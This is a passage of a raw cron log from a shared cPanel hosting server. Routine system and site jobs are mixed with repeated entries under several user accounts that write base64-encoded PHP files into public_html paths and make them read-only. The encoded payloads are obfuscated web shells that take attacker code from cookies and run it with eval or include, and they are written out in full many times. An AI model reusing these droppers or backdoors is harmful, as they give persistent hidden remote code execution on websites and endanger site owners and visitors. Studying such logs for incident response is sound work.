"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:49:01 medusa CROND[6489]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:49:01 medusa CROND[6490]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:49:01 medusa CROND[6483]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 19:50:01 medusa CROND[12568]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:50:01 medusa CROND[12815]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:50:01 medusa CROND[12816]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:50:01 medusa CROND[12819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 19:50:01 medusa CROND[12822]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:50:01 medusa CROND[12823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 19:50:01 medusa CROND[12820]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:50:01 medusa CROND[12832]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:50:01 medusa CROND[12831]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:50:01 medusa CROND[12839]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:50:01 medusa CROND[12845]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:50:01 medusa CROND[12849]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12847]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:50:01 medusa CROND[12850]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:50:01 medusa CROND[12835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12836]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 19:50:01 medusa CROND[12854]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:50:01 medusa CROND[12856]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:50:01 medusa CROND[12859]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12860]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:50:01 medusa CROND[12861]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:50:01 medusa CROND[12862]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:50:01 medusa CROND[12872]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12877]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:50:01 medusa CROND[12821]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 19:50:01 medusa CROND[12825]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:50:01 medusa CROND[12848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:51:02 medusa CROND[19809]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:51:02 medusa CROND[19810]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:51:02 medusa CROND[19811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:51:02 medusa CROND[19812]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:51:02 medusa CROND[19815]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:51:02 medusa CROND[19817]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:51:02 medusa CROND[19821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:51:02 medusa CROND[19825]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:51:02 medusa CROND[19829]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:51:02 medusa CROND[19827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:51:02 medusa CROND[19830]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfS